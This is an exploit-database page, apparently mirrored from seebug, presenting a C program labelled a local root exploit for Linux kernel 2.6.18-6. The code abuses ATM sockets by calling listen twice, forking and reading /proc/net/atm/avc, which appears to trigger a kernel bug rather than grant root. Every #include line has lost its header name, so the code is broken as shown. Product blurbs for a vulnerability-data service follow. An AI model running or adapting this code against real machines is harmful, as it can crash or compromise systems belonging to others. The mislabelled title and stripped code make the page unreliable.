Lucene search
K

Linux kernel-2.6.18-6 x86 Local Root Exploit

🗓️ 09 Oct 2011 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Local Root Exploit for Linux kernel-2.6.18-6 x8

Code

                                                #include
#include
#include
#include
#include
#include
#include
#include

#define NUM_CPUS 8
#define ATM "/proc/net/atm/avc"

int
main(void)
{
char *err, adurit[2000];
int i, ret, sock, proc;
struct atm_qos dj;
struct sockaddr_atmsvc addr;

sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);

memset(&dj, 0, sizeof(dj));
dj.rxtp.traffic_class = ATM_UBR;
dj.txtp.traffic_class = ATM_UBR;
dj.aal = ATM_NO_AAL;

ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
if (ret == -1) {
printf("failed !\n");
return 1;
}
memset(&addr, 0, sizeof(addr));
addr.sas_family = AF_ATMSVC;

bind(sock, (struct sockaddr *) &addr, sizeof(addr));

listen(sock, 10);
listen(sock, 10);

for (i = 1; i < NUM_CPUS; ++i) {
if (fork() != 0) {
break;
}
}
proc = open(ATM, O_RDONLY);
ret = read(proc, &adurit, 2000);
close(proc);

return 0;
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation